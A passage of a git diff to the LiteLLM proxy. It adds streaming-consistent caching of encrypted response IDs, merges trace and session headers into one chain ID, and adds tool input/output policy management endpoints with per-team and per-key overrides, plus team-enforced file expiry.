continue + if call_type.value not in TOOL_CAPABLE_CALL_TYPES: + continue + if call_type.value in STANDALONE_EXTRACTORS: + return STANDALONE_EXTRACTORS[call_type.value](data) + handler_cls = mappings.get(call_type) + if handler_cls is not None: + names = handler_cls().extract_request_tool_names(data) + if names: + return names + return [] diff --git a/litellm/proxy/hooks/responses_id_security.py b/litellm/proxy/hooks/responses_id_security.py index d196a68d369..39f33ade38a 100644 --- a/litellm/proxy/hooks/responses_id_security.py +++ b/litellm/proxy/hooks/responses_id_security.py @@ -188,6 +188,7 @@ class ResponsesIDSecurity(CustomLogger): self, response: BaseLiteLLMOpenAIResponseObject, user_api_key_dict: "UserAPIKeyAuth", + request_cache: Optional[dict[str, str]] = None, ) -> BaseLiteLLMOpenAIResponseObject: # encrypt the response id using the symmetric key # encrypt the response id, and encode the user id and response id in base64 @@ -211,31 +212,41 @@ class ResponsesIDSecurity(CustomLogger): and isinstance(response_id, str) and response_id.startswith("resp_") ): - encrypted_response_id = SpecialEnums.LITELLM_MANAGED_RESPONSE_API_RESPONSE_ID_COMPLETE_STR.value.format( - response_id, - user_api_key_dict.user_id or "", - user_api_key_dict.team_id or "", - ) + # Check request-scoped cache first (for streaming consistency) + if request_cache is not None and response_id in request_cache: + setattr(response, "id", request_cache[response_id]) + else: + encrypted_response_id = SpecialEnums.LITELLM_MANAGED_RESPONSE_API_RESPONSE_ID_COMPLETE_STR.value.format( + response_id, + user_api_key_dict.user_id or "", + user_api_key_dict.team_id or "", + ) - encoded_user_id_and_response_id = encrypt_value_helper( - value=encrypted_response_id - ) - setattr( - response, "id", f"resp_{encoded_user_id_and_response_id}" - ) # maintain the 'resp_' prefix for the responses api response id + encoded_user_id_and_response_id = encrypt_value_helper( + value=encrypted_response_id + ) + encrypted_id = f"resp_{encoded_user_id_and_response_id}" + if request_cache is not None: + request_cache[response_id] = encrypted_id + setattr(response, "id", encrypted_id) elif response_obj and isinstance(response_obj, ResponsesAPIResponse): - encrypted_response_id = SpecialEnums.LITELLM_MANAGED_RESPONSE_API_RESPONSE_ID_COMPLETE_STR.value.format( - response_obj.id, - user_api_key_dict.user_id or "", - user_api_key_dict.team_id or "", - ) - encoded_user_id_and_response_id = encrypt_value_helper( - value=encrypted_response_id - ) - setattr( - response_obj, "id", f"resp_{encoded_user_id_and_response_id}" - ) # maintain the 'resp_' prefix for the responses api response id + # Check request-scoped cache first (for streaming consistency) + if request_cache is not None and response_obj.id in request_cache: + setattr(response_obj, "id", request_cache[response_obj.id]) + else: + encrypted_response_id = SpecialEnums.LITELLM_MANAGED_RESPONSE_API_RESPONSE_ID_COMPLETE_STR.value.format( + response_obj.id, + user_api_key_dict.user_id or "", + user_api_key_dict.team_id or "", + ) + encoded_user_id_and_response_id = encrypt_value_helper( + value=encrypted_response_id + ) + encrypted_id = f"resp_{encoded_user_id_and_response_id}" + if request_cache is not None: + request_cache[response_obj.id] = encrypted_id + setattr(response_obj, "id", encrypted_id) setattr(response, "response", response_obj) return response @@ -258,7 +269,7 @@ class ResponsesIDSecurity(CustomLogger): if isinstance(response, ResponsesAPIResponse): response = cast( ResponsesAPIResponse, - self._encrypt_response_id(response, user_api_key_dict), + self._encrypt_response_id(response, user_api_key_dict, request_cache=None), ) return response @@ -267,6 +278,9 @@ class ResponsesIDSecurity(CustomLogger): ) -> AsyncGenerator[BaseLiteLLMOpenAIResponseObject, None]: from litellm.proxy.proxy_server import general_settings + # Create a request-scoped cache for consistent encryption across streaming chunks. + request_encryption_cache: dict[str, str] = {} + async for chunk in response: if ( isinstance(chunk, BaseLiteLLMOpenAIResponseObject) @@ -274,5 +288,5 @@ class ResponsesIDSecurity(CustomLogger): == "/v1/responses" # only encrypt the response id for the responses api and not general_settings.get("disable_responses_id_security", False) ): - chunk = self._encrypt_response_id(chunk, user_api_key_dict) + chunk = self._encrypt_response_id(chunk, user_api_key_dict, request_encryption_cache) yield chunk diff --git a/litellm/proxy/litellm_pre_call_utils.py b/litellm/proxy/litellm_pre_call_utils.py index 92bf035a986..32eab99fb99 100644 --- a/litellm/proxy/litellm_pre_call_utils.py +++ b/litellm/proxy/litellm_pre_call_utils.py @@ -89,6 +89,25 @@ def _get_metadata_variable_name(request: Request) -> str: return "metadata" +def get_chain_id_from_headers(headers: Optional[Dict[str, str]]) -> Optional[str]: + """ + Extract chain id for call chaining from request headers. + + x-litellm-trace-id and x-litellm-session-id are interchangeable; when both + are present, x-litellm-trace-id takes precedence. Header keys are matched + case-insensitively so this works with raw header dicts from any transport. + + Used by MCP (and other paths that have raw_headers but no Request) to set + litellm_trace_id/litellm_session_id for spend logs and logging consistency. + """ + if not headers: + return None + normalized = {k.lower(): v for k, v in headers.items() if isinstance(k, str)} + return normalized.get("x-litellm-trace-id") or normalized.get( + "x-litellm-session-id" + ) + + def safe_add_api_version_from_query_params(data: dict, request: Request): try: if hasattr(request, "query_params"): @@ -177,12 +196,12 @@ def _get_dynamic_logging_metadata( user_api_key_dict: UserAPIKeyAuth, proxy_config: ProxyConfig ) -> Optional[TeamCallbackMetadata]: callback_settings_obj: Optional[TeamCallbackMetadata] = None - key_dynamic_logging_settings: Optional[ - dict - ] = KeyAndTeamLoggingSettings.get_key_dynamic_logging_settings(user_api_key_dict) - team_dynamic_logging_settings: Optional[ - dict - ] = KeyAndTeamLoggingSettings.get_team_dynamic_logging_settings(user_api_key_dict) + key_dynamic_logging_settings: Optional[dict] = ( + KeyAndTeamLoggingSettings.get_key_dynamic_logging_settings(user_api_key_dict) + ) + team_dynamic_logging_settings: Optional[dict] = ( + KeyAndTeamLoggingSettings.get_team_dynamic_logging_settings(user_api_key_dict) + ) ######################################################################################### # Key-based callbacks ######################################################################################### @@ -576,9 +595,13 @@ class LiteLLMProxyRequestSetup: ######################################################################################### # Finally update the requests metadata with the `metadata_from_headers` ######################################################################################### + agent_id_from_header = headers.get("x-litellm-agent-id") - trace_id_from_header = headers.get("x-litellm-trace-id") - session_id_from_header = headers.get("x-litellm-session-id") + # x-litellm-trace-id and x-litellm-session-id are interchangeable for call chaining + chain_id = headers.get("x-litellm-trace-id") or headers.get( + "x-litellm-session-id" + ) + if agent_id_from_header: metadata_from_headers["agent_id"] = agent_id_from_header @@ -586,16 +609,13 @@ class LiteLLMProxyRequestSetup: f"Extracted agent_id from header: {agent_id_from_header}" ) - if trace_id_from_header: - metadata_from_headers["trace_id"] = trace_id_from_header + if chain_id: + metadata_from_headers["trace_id"] = chain_id + metadata_from_headers["session_id"] = chain_id + data["litellm_session_id"] = chain_id + data["litellm_trace_id"] = chain_id verbose_proxy_logger.debug( - f"Extracted trace_id from header: {trace_id_from_header}" - ) - - if session_id_from_header: - metadata_from_headers["session_id"] = session_id_from_header - verbose_proxy_logger.debug( - f"Extracted session_id from header: {session_id_from_header}" + f"Extracted chain_id from header (trace-id/session-id): {chain_id}" ) if isinstance(data[_metadata_variable_name], dict): @@ -702,11 +722,11 @@ class LiteLLMProxyRequestSetup: ## KEY-LEVEL SPEND LOGS / TAGS if "tags" in key_metadata and key_metadata["tags"] is not None: - data[_metadata_variable_name][ - "tags" - ] = LiteLLMProxyRequestSetup._merge_tags( - request_tags=data[_metadata_variable_name].get("tags"), - tags_to_add=key_metadata["tags"], + data[_metadata_variable_name]["tags"] = ( + LiteLLMProxyRequestSetup._merge_tags( + request_tags=data[_metadata_variable_name].get("tags"), + tags_to_add=key_metadata["tags"], + ) ) if "disable_global_guardrails" in key_metadata and isinstance( key_metadata["disable_global_guardrails"], bool @@ -839,14 +859,9 @@ async def add_litellm_data_to_request( # noqa: PLR0915 """ from litellm.proxy.proxy_server import llm_router, premium_user - from litellm.types.proxy.litellm_pre_call_utils import ( - RedactedDict, - SecretFields, - ) + from litellm.types.proxy.litellm_pre_call_utils import RedactedDict, SecretFields - _raw_headers: Dict[str, str] = RedactedDict( - _safe_get_request_headers(request) - ) + _raw_headers: Dict[str, str] = RedactedDict(_safe_get_request_headers(request)) forward_llm_auth = False if general_settings: @@ -986,9 +1001,9 @@ async def add_litellm_data_to_request( # noqa: PLR0915 data[_metadata_variable_name]["litellm_api_version"] = version if general_settings is not None: - data[_metadata_variable_name][ - "global_max_parallel_requests" - ] = general_settings.get("global_max_parallel_requests", None) + data[_metadata_variable_name]["global_max_parallel_requests"] = ( + general_settings.get("global_max_parallel_requests", None) + ) ### KEY-LEVEL Controls key_metadata = user_api_key_dict.metadata @@ -1076,6 +1091,15 @@ async def add_litellm_data_to_request( # noqa: PLR0915 ] = user_api_key_dict.user_max_budget data[_metadata_variable_name]["user_api_key_metadata"] = user_api_key_dict.metadata + data[_metadata_variable_name]["user_api_key_team_metadata"] = ( + user_api_key_dict.team_metadata + ) + data[_metadata_variable_name]["user_api_key_object_permission_id"] = ( + getattr(user_api_key_dict, "object_permission_id", None) + ) + data[_metadata_variable_name]["user_api_key_team_object_permission_id"] = ( + getattr(user_api_key_dict, "team_object_permission_id", None) + ) data[_metadata_variable_name]["headers"] = _headers data[_metadata_variable_name]["endpoint"] = str(request.url) diff --git a/litellm/proxy/management_endpoints/cost_tracking_settings.py b/litellm/proxy/management_endpoints/cost_tracking_settings.py index 6cdadfe216a..38dd4578c05 100644 --- a/litellm/proxy/management_endpoints/cost_tracking_settings.py +++ b/litellm/proxy/management_endpoints/cost_tracking_settings.py @@ -54,16 +54,27 @@ def _resolve_model_for_cost_lookup(model: str) -> Tuple[str, Optional[str]]: deployments = llm_router.get_model_list(model_name=model) if deployments and len(deployments) > 0: - # Get the first deployment's litellm model first_deployment = deployments[0] litellm_params = first_deployment.get("litellm_params", {}) + model_info = first_deployment.get("model_info", {}) + + # Check base_model first (needed for Azure custom deployment names) + base_model = model_info.get("base_model") or litellm_params.get( + "base_model" + ) + if base_model: + verbose_proxy_logger.debug( + f"Resolved model '{model}' to base_model '{base_model}' from router" + ) + custom_llm_provider = litellm_params.get("custom_llm_provider") + return base_model, custom_llm_provider + resolved_model = litellm_params.get("model") if resolved_model: verbose_proxy_logger.debug( f"Resolved model '{model}' to '{resolved_model}' from router" ) - # Extract custom_llm_provider if present custom_llm_provider = litellm_params.get("custom_llm_provider") return resolved_model, custom_llm_provider except Exception as e: diff --git a/litellm/proxy/management_endpoints/tool_management_endpoints.py b/litellm/proxy/management_endpoints/tool_management_endpoints.py index 89880c9a4ec..7fdd3475c04 100644 --- a/litellm/proxy/management_endpoints/tool_management_endpoints.py +++ b/litellm/proxy/management_endpoints/tool_management_endpoints.py @@ -4,27 +4,87 @@ TOOL POLICY MANAGEMENT All /tool management endpoints GET /v1/tool/list - List all discovered tools and their policies +GET /v1/tool/policy/options - List available input/output policy options with descriptions GET /v1/tool/{tool_name} - Get a single tool's details -POST /v1/tool/policy - Update the call_policy for a tool +POST /v1/tool/policy - Update the input_policy / output_policy for a tool """ -from typing import Optional +import uuid +from datetime import datetime, timezone +from typing import TYPE_CHECKING, Any, List, Optional -from fastapi import APIRouter, Depends, HTTPException +from fastapi import APIRouter, Depends, HTTPException, Query + +if TYPE_CHECKING: + from litellm.proxy.utils import PrismaClient from litellm._logging import verbose_proxy_logger from litellm.proxy._types import CommonProxyErrors, UserAPIKeyAuth from litellm.proxy.auth.user_api_key_auth import user_api_key_auth from litellm.types.tool_management import ( LiteLLM_ToolTableRow, - ToolCallPolicy, + ToolDetailResponse, + ToolInputPolicy, ToolListResponse, + ToolOutputPolicy, + ToolPolicyOption, + ToolPolicyOptionsResponse, ToolPolicyUpdateRequest, ToolPolicyUpdateResponse, + ToolUsageLogEntry, + ToolUsageLogsResponse, ) router = APIRouter() +TOOL_POLICY_OPTIONS = ToolPolicyOptionsResponse( + input_policies=[ + ToolPolicyOption( + value="untrusted", + label="Untrusted", + description="Tool accepts any input, including data from untrusted tool outputs. Default for newly discovered tools.", + ), + ToolPolicyOption( + value="trusted", + label="Trusted", + description="Tool requires trusted input. Blocked if the conversation contains output from any tool with output_policy=untrusted.", + ), + ToolPolicyOption( + value="blocked", + label="Blocked", + description="Tool is completely prohibited. Any attempt to call it is rejected.", + ), + ], + output_policies=[ + ToolPolicyOption( + value="untrusted", + label="Untrusted", + description="Tool output may contain unsafe content (prompt injection, risky code). Downstream tools with input_policy=trusted will be blocked.", + ), + ToolPolicyOption( + value="trusted", + label="Trusted", + description="Tool output is verified safe. Will not trigger trust-chain blocks on downstream tools.", + ), + ], +) + + +@router.get( + "/v1/tool/policy/options", + tags=["tool management"], + dependencies=[Depends(user_api_key_auth)], + response_model=ToolPolicyOptionsResponse, +) +async def get_tool_policy_options( + user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), +): + """ + Return the available input and output policy options with descriptions. + Static data — no DB call. + """ + return TOOL_POLICY_OPTIONS + @router.get( "/v1/tool/list", @@ -33,14 +93,14 @@ router = APIRouter() response_model=ToolListResponse, ) async def list_tools( - call_policy: Optional[ToolCallPolicy] = None, + input_policy: Optional[ToolInputPolicy] = None, user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), ): """ - List all auto-discovered tools and their call policies. + List all auto-discovered tools and their policies. Parameters: - - call_policy: Optional filter — one of "trusted", "untrusted", "dual_llm", "blocked" + - input_policy: Optional filter — one of "trusted", "untrusted", "blocked" """ from litellm.proxy.db.tool_registry_writer import list_tools as db_list_tools from litellm.proxy.proxy_server import prisma_client @@ -51,13 +111,201 @@ async def list_tools( ) try: - tools = await db_list_tools(prisma_client=prisma_client, call_policy=call_policy) + tools = await db_list_tools( + prisma_client=prisma_client, input_policy=input_policy + ) return ToolListResponse(tools=tools, total=len(tools)) except Exception as e: verbose_proxy_logger.exception("Error listing tools: %s", e) raise HTTPException(status_code=500, detail=str(e)) +@router.get( + "/v1/tool/{tool_name:path}/detail", + tags=["tool management"], + dependencies=[Depends(user_api_key_auth)], + response_model=ToolDetailResponse, +) +async def get_tool_detail( + tool_name: str, + user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), +): + """ + Get a single tool with its policy overrides (for UI detail view). + """ + from litellm.proxy.db.tool_registry_writer import get_tool as db_get_tool + from litellm.proxy.db.tool_registry_writer import list_overrides_for_tool + from litellm.proxy.proxy_server import prisma_client + + if prisma_client is None: + raise HTTPException( + status_code=500, detail=CommonProxyErrors.db_not_connected_error.value + ) + + try: + tool = await db_get_tool(prisma_client=prisma_client, tool_name=tool_name) + if tool is None: + raise HTTPException(status_code=404, detail=f"Tool '{tool_name}' not found") + overrides = await list_overrides_for_tool( + prisma_client=prisma_client, tool_name=tool_name + ) + return ToolDetailResponse(tool=tool, overrides=overrides) + except HTTPException: + raise + except Exception as e: + verbose_proxy_logger.exception("Error getting tool detail: %s", e) + raise HTTPException(status_code=500, detail=str(e)) + + +def _input_snippet_for_tool_log(sl: Any, max_len: int = 200) -> Optional[str]: + """Short snippet from messages or proxy_server_request for tool usage log row.""" + if sl is None: + return None + messages = getattr(sl, "messages", None) + if messages is not None: + s = _snippet_str(messages, max_len) + if s: + return s + psr = getattr(sl, "proxy_server_request", None) + if not psr: + return None + if isinstance(psr, str): + import json + + try: + psr = json.loads(psr) + except Exception: + return _snippet_str(psr, max_len) + if isinstance(psr, dict): + msgs = psr.get("messages") + if msgs is None and isinstance(psr.get("body"), dict): + msgs = psr["body"].get("messages") + s = _snippet_str(msgs, max_len) + if s: + return s + return _snippet_str(psr, max_len) + + +def _snippet_str(text: Any, max_len: int = 200) -> Optional[str]: + if text is None: + return None + if isinstance(text, str): + s = text + elif isinstance(text, list): + parts = [] + for item in text: + if isinstance(item, dict) and "content" in item: + c = item["content"] + parts.append(c if isinstance(c, str) else str(c)) + else: + parts.append(str(item)) + s = " ".join(parts) + else: + s = str(text) + if not s or s == "{}": + return None + return (s[:max_len] + "...") if len(s) > max_len else s + + +@router.get( + "/v1/tool/{tool_name:path}/logs", + tags=["tool management"], + dependencies=[Depends(user_api_key_auth)], + response_model=ToolUsageLogsResponse, +) +async def get_tool_usage_logs( + tool_name: str, + page: int = Query(1, ge=1), + page_size: int = Query(50, ge=1, le=100), + start_date: Optional[str] = Query(None, description="YYYY-MM-DD"), + end_date: Optional[str] = Query(None, description="YYYY-MM-DD"), + user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), +): + """ + Return paginated spend logs for requests that used this tool (from SpendLogToolIndex). + """ + from litellm.proxy.proxy_server import prisma_client + + if prisma_client is None: + raise HTTPException( + status_code=500, detail=CommonProxyErrors.db_not_connected_error.value + ) + + try: + where: dict = {"tool_name": tool_name} + if start_date or end_date: + start_time_filter: Optional[datetime] = None + end_time_filter: Optional[datetime] = None + if start_date: + try: + start_time_filter = datetime.strptime( + start_date + "T00:00:00", "%Y-%m-%dT%H:%M:%S" + ).replace(tzinfo=timezone.utc) + except ValueError: + pass + if end_date: + try: + end_time_filter = datetime.strptime( + end_date + "T23:59:59", "%Y-%m-%dT%H:%M:%S" + ).replace(tzinfo=timezone.utc) + except ValueError: + pass + if start_time_filter is not None or end_time_filter is not None: + where["start_time"] = {} + if start_time_filter is not None: + where["start_time"]["gte"] = start_time_filter + if end_time_filter is not None: + where["start_time"]["lte"] = end_time_filter + + total = await prisma_client.db.litellm_spendlogtoolindex.count(where=where) + index_rows = await prisma_client.db.litellm_spendlogtoolindex.find_many( + where=where, + order={"start_time": "desc"}, + skip=(page - 1) * page_size, + take=page_size, + ) + request_ids = [r.request_id for r in index_rows] + if not request_ids: + return ToolUsageLogsResponse( + logs=[], total=total, page=page, page_size=page_size + ) + + spend_logs = await prisma_client.db.litellm_spendlogs.find_many( + where={"request_id": {"in": request_ids}} + ) + log_by_id = {s.request_id: s for s in spend_logs} + + logs_out: List[ToolUsageLogEntry] = [] + for r in index_rows: + sl = log_by_id.get(r.request_id) + if not sl: + continue + ts = ( + sl.startTime.isoformat() + if hasattr(sl.startTime, "isoformat") + else str(sl.startTime) + ) + logs_out.append( + ToolUsageLogEntry( + id=sl.request_id, + timestamp=ts, + model=getattr(sl, "model", None) or None, + spend=getattr(sl, "spend", None), + total_tokens=getattr(sl, "total_tokens", None), + input_snippet=_input_snippet_for_tool_log(sl), + ) + ) + + return ToolUsageLogsResponse( + logs=logs_out, total=total, page=page, page_size=page_size + ) + except HTTPException: + raise + except Exception as e: + verbose_proxy_logger.exception("Error getting tool usage logs: %s", e) + raise HTTPException(status_code=500, detail=str(e)) + + @router.get( "/v1/tool/{tool_name:path}", tags=["tool management"], @@ -70,9 +318,6 @@ async def get_tool( ): """ Get details for a single tool. - - Parameters: - - tool_name: The tool name (supports namespaced names with slashes) """ from litellm.proxy.db.tool_registry_writer import get_tool as db_get_tool from litellm.proxy.proxy_server import prisma_client @@ -85,9 +330,7 @@ async def get_tool( try: tool = await db_get_tool(prisma_client=prisma_client, tool_name=tool_name) if tool is None: - raise HTTPException( - status_code=404, detail=f"Tool '{tool_name}' not found" - ) + raise HTTPException(status_code=404, detail=f"Tool '{tool_name}' not found") return tool except HTTPException: raise @@ -96,6 +339,80 @@ async def get_tool( raise HTTPException(status_code=500, detail=str(e)) +async def _resolve_key_hash_to_object_permission_id( + prisma_client: "PrismaClient", + key_hash: str, +) -> Optional[str]: + """Resolve key (hash or raw) to object_permission_id; create permission if key has none.""" + from litellm.proxy.proxy_server import hash_token + + hashed = key_hash if "sk-" not in (key_hash or "") else hash_token(key_hash) + if not hashed: + return None + row = await prisma_client.db.litellm_verificationtoken.find_unique( + where={"token": hashed} + ) + if row is None: + return None + op_id = getattr(row, "object_permission_id", None) + if op_id: + return op_id + new_id = str(uuid.uuid4()) + await prisma_client.db.litellm_objectpermissiontable.create( + data={"object_permission_id": new_id, "blocked_tools": []} + ) + updated_count = await prisma_client.db.litellm_verificationtoken.update_many( + where={"token": hashed, "object_permission_id": None}, + data={"object_permission_id": new_id}, + ) + if updated_count == 0: + await prisma_client.db.litellm_objectpermissiontable.delete( + where={"object_permission_id": new_id} + ) + row = await prisma_client.db.litellm_verificationtoken.find_unique( + where={"token": hashed} + ) + return getattr(row, "object_permission_id", None) if row else None + return new_id + + +async def _resolve_team_id_to_object_permission_id( + prisma_client: "PrismaClient", + team_id: str, +) -> Optional[str]: + """Resolve team_id to object_permission_id; create permission if team has none.""" + if not team_id or not team_id.strip(): + return None + team_id_clean = team_id.strip() + row = await prisma_client.db.litellm_teamtable.find_unique( + where={"team_id": team_id_clean}, + select={"object_permission_id": True}, + ) + if row is None: + return None + op_id = getattr(row, "object_permission_id", None) + if op_id: + return op_id + new_id = str(uuid.uuid4()) + await prisma_client.db.litellm_objectpermissiontable.create( + data={"object_permission_id": new_id, "blocked_tools": []} + ) + updated_count = await prisma_client.db.litellm_teamtable.update_many( + where={"team_id": team_id_clean, "object_permission_id": None}, + data={"object_permission_id": new_id}, + ) + if updated_count == 0: + await prisma_client.db.litellm_objectpermissiontable.delete( + where={"object_permission_id": new_id} + ) + row = await prisma_client.db.litellm_teamtable.find_unique( + where={"team_id": team_id_clean}, + select={"object_permission_id": True}, + ) + return getattr(row, "object_permission_id", None) if row else None + return new_id + + @router.post( "/v1/tool/policy", tags=["tool management"], @@ -107,15 +424,20 @@ async def update_tool_policy( user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), ): """ - Set the call policy for a tool. + Set the input_policy and/or output_policy for a tool (global), or block for a specific team/key (override). Parameters: - tool_name: str - The tool to update - - call_policy: "trusted" | "untrusted" | "dual_llm" | "blocked" - - Setting a tool to "blocked" will cause the ToolPolicyGuardrail to remove - that tool_call from LLM responses before returning them to the client. + - input_policy: optional - "trusted" | "untrusted" | "blocked" + - output_policy: optional - "trusted" | "untrusted" + - team_id: optional - if set, create/update override for this team only + - key_hash: optional - if set, create/update override for this key only """ + from litellm.proxy.db.tool_registry_writer import ( + add_tool_to_object_permission_blocked, + get_tool_policy_registry, + remove_tool_from_object_permission_blocked, + ) from litellm.proxy.db.tool_registry_writer import ( update_tool_policy as db_update_tool_policy, ) @@ -127,19 +449,80 @@ async def update_tool_policy( ) try: + if data.team_id is not None or data.key_hash is not None: + if data.team_id is not None and data.key_hash is not None: + raise HTTPException( + status_code=400, + detail="Provide either team_id or key_hash, not both", + ) + if data.key_hash is not None: + op_id = await _resolve_key_hash_to_object_permission_id( + prisma_client, data.key_hash + ) + else: + op_id = await _resolve_team_id_to_object_permission_id( + prisma_client, data.team_id or "" + ) + if op_id is None: + raise HTTPException( + status_code=404, + detail="Key or team not found for the given identifier", + ) + is_blocking = data.input_policy == "blocked" + if is_blocking: + ok = await add_tool_to_object_permission_blocked( + prisma_client=prisma_client, + object_permission_id=op_id, + tool_name=data.tool_name, + ) + else: + ok = await remove_tool_from_object_permission_blocked( + prisma_client=prisma_client, + object_permission_id=op_id, + tool_name=data.tool_name, + ) + if not ok: + raise HTTPException( + status_code=500, + detail=f"Failed to update policy override for tool '{data.tool_name}'", + ) + registry = get_tool_policy_registry() + if registry.is_initialized(): + await registry.sync_tool_policy_from_db(prisma_client) + return ToolPolicyUpdateResponse( + tool_name=data.tool_name, + input_policy=data.input_policy, + output_policy=data.output_policy, + updated=True, + team_id=data.team_id, + key_hash=data.key_hash, + ) + + if data.input_policy is None and data.output_policy is None: + raise HTTPException( + status_code=400, + detail="At least one of input_policy or output_policy must be provided", + ) + updated = await db_update_tool_policy( prisma_client=prisma_client, tool_name=data.tool_name, - call_policy=data.call_policy, updated_by=user_api_key_dict.user_id, + input_policy=data.input_policy, + output_policy=data.output_policy, ) if updated is None: raise HTTPException( - status_code=500, detail=f"Failed to update policy for tool '{data.tool_name}'" + status_code=500, + detail=f"Failed to update policy for tool '{data.tool_name}'", ) + registry = get_tool_policy_registry() + if registry.is_initialized(): + await registry.sync_tool_policy_from_db(prisma_client) return ToolPolicyUpdateResponse( tool_name=updated.tool_name, - call_policy=updated.call_policy, + input_policy=updated.input_policy, + output_policy=updated.output_policy, updated=True, ) except HTTPException: @@ -147,3 +530,77 @@ async def update_tool_policy( except Exception as e: verbose_proxy_logger.exception("Error updating tool policy: %s", e) raise HTTPException(status_code=500, detail=str(e)) + + +@router.delete( + "/v1/tool/{tool_name:path}/overrides", + tags=["tool management"], + dependencies=[Depends(user_api_key_auth)], +) +async def delete_tool_policy_override( + tool_name: str, + team_id: Optional[str] = Query( + None, description="Team ID of the override to remove" + ), + key_hash: Optional[str] = Query( + None, description="Key hash of the override to remove" + ), + user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth), +): + """ + Remove a policy override for a tool. Specify the override by team_id or key_hash + (exactly one required). + """ + from litellm.proxy.db.tool_registry_writer import ( + get_tool_policy_registry, + remove_tool_from_object_permission_blocked, + ) + from litellm.proxy.proxy_server import prisma_client + + if prisma_client is None: + raise HTTPException( + status_code=500, detail=CommonProxyErrors.db_not_connected_error.value + ) + if team_id is None and key_hash is None: + raise HTTPException( + status_code=400, + detail="At least one of team_id or key_hash is required to identify the override", + ) + if team_id is not None and key_hash is not None: + raise HTTPException( + status_code=400, + detail="Provide either team_id or key_hash, not both", + ) + try: + if key_hash is not None: + op_id = await _resolve_key_hash_to_object_permission_id( + prisma_client, key_hash + ) + else: + op_id = await _resolve_team_id_to_object_permission_id( + prisma_client, team_id or "" + ) + if op_id is None: + raise HTTPException( + status_code=404, + detail="Key or team not found for the given identifier", + ) + deleted = await remove_tool_from_object_permission_blocked( + prisma_client=prisma_client, + object_permission_id=op_id, + tool_name=tool_name, + ) + if not deleted: + raise HTTPException( + status_code=404, + detail=f"No override found for tool '{tool_name}' with the given scope", + ) + registry = get_tool_policy_registry() + if registry.is_initialized(): + await registry.sync_tool_policy_from_db(prisma_client) + return {"deleted": True, "tool_name": tool_name} + except HTTPException: + raise + except Exception as e: + verbose_proxy_logger.exception("Error deleting tool policy override: %s", e) + raise HTTPException(status_code=500, detail=str(e)) diff --git a/litellm/proxy/openai_files_endpoints/common_utils.py b/litellm/proxy/openai_files_endpoints/common_utils.py index ceaf3c7550e..343ea119672 100644 --- a/litellm/proxy/openai_files_endpoints/common_utils.py +++ b/litellm/proxy/openai_files_endpoints/common_utils.py @@ -129,6 +129,22 @@ def encode_file_id_with_model( return f"{prefix}{encoded_b64}" +def encode_batch_response_ids(response, model: str) -> None: + """Encode all IDs in a batch response with model routing info (in-place).""" + if not response or not hasattr(response, "id") or not response.id: + return + response.id = encode_file_id_with_model( + file_id=response.id, model=model, id_type="batch" + ) + for attr in ("output_file_id", "error_file_id", "input_file_id"): + if hasattr(response, attr) and getattr(response, attr): + setattr( + response, + attr, + encode_file_id_with_model(file_id=getattr(response, attr), model=model), + ) + + def decode_model_from_file_id(encoded_id: str) -> Optional[str]: """ Extract model name from an encoded file/batch ID. diff --git a/litellm/proxy/openai_files_endpoints/files_endpoints.py b/litellm/proxy/openai_files_endpoints/files_endpoints.py index ec6e9733344..44bd9b09d8e 100644 --- a/litellm/proxy/openai_files_endpoints/files_endpoints.py +++ b/litellm/proxy/openai_files_endpoints/files_endpoints.py @@ -454,8 +454,35 @@ async def create_file( # noqa: PLR0915 model=router_model, llm_router=llm_router ) + # Apply team-level file expiry enforcement + team_metadata = user_api_key_dict.team_metadata or {} + enforced_file_expiry = team_metadata.get("enforced_file_expires_after") + if enforced_file_expiry is not None: + if "anchor" not in enforced_file_expiry or "seconds" not in enforced_file_expiry: + raise HTTPException( + status_code=400, + detail={ + "error": "enforced_file_expires_after must contain 'anchor' and 'seconds' keys", + }, + ) + if enforced_file_expiry["anchor"] != "created_at": + raise HTTPException( + status_code=400, + detail={ + "error": f"enforced_file_expires_after anchor must be 'created_at', got '{enforced_file_expiry['anchor']}'", + }, + ) + expires_after = FileExpiresAfter( + anchor="created_at", + seconds=enforced_file_expiry["seconds"], + ) + + verbose_proxy_logger.debug( + "create_file expires_after: %s", expires_after + ) + _create_file_request = CreateFileRequest( - file=file_data, + file=file_data, purpose=cast(CREATE_FILE_REQUESTS_PURPOSE, purpose), expires_after=expires_after, **data diff --git a/litellm/proxy/proxy_server.py b/litellm/proxy/proxy_server.py index b3d707b1aa2..6a2b0accb0e 100644 --- a/litellm/proxy/proxy_server.py +++ b/litellm/proxy/proxy_server.py @@ -4411,6 +4411,9 @@ class ProxyConfig: if self._should_load_db_object(object_type="search_tools"): await self._init_search_tools_in_db(prisma_client=prisma_client) + if self._should_load_db_object(object_type="tools"): + await self._init_tool_policy_in_db(prisma_client=prisma_client) + if self._should_load_db_object(object_type="model_cost_map"): await self._check_and_reload_model_cost_map(prisma_client=prisma_client) @@ -4847,6 +4850,24 @@ class ProxyConfig: ) ) + async def _init_tool_policy_in_db(self, prisma_client: PrismaClient): + """ + Initialize tool policy from database into the in-memory registry. + Synced periodically by add_deployment -> _init_non_llm_objects_in_db. + """ + from litellm.proxy.db.tool_registry_writer import get_tool_policy_registry + + try: + registry = get_tool_policy_registry() + await registry.sync_tool_policy_from_db(prisma_client=prisma_client) + verbose_proxy_logger.debug("Successfully synced tool policy from DB") + except Exception as e: + verbose_proxy_logger.exception( + "litellm.proxy.proxy_server.py::ProxyConfig:_init_tool_policy_in_db - {}".format( + str(e) + ) + ) + async def _init_vector_stores_in_db(self, prisma_client: PrismaClient): from litellm.vector_stores.vector_store_registry import VectorStoreRegistry @@ -10577,6 +10598,12 @@ async def async_queue_request( data["metadata"]["user_api_key_team_id"] = getattr( user_api_key_dict, "team_id", None ) + data["metadata"]["user_api_key_object_permission_id"] = getattr( + user_api_key_dict, "object_permission_id", None + ) + data["metadata"]["user_api_key_team_object_permission_id"] = getattr( + user_api_key_dict, "team_object_permission_id", None + ) data["metadata"]["endpoint"] = str(request.url) global user_temperature, user_request_timeout, user_max_tokens, user_api_base @@ -11093,9 +11120,7 @@ async def get_favicon(): if favicon_url.startswith(("http://", "https://")): try: - from litellm.llms.custom_httpx.http_handler import ( - get_async_httpx_client, - ) + from litellm.llms.custom_httpx.http_handler import get_async_httpx_client from 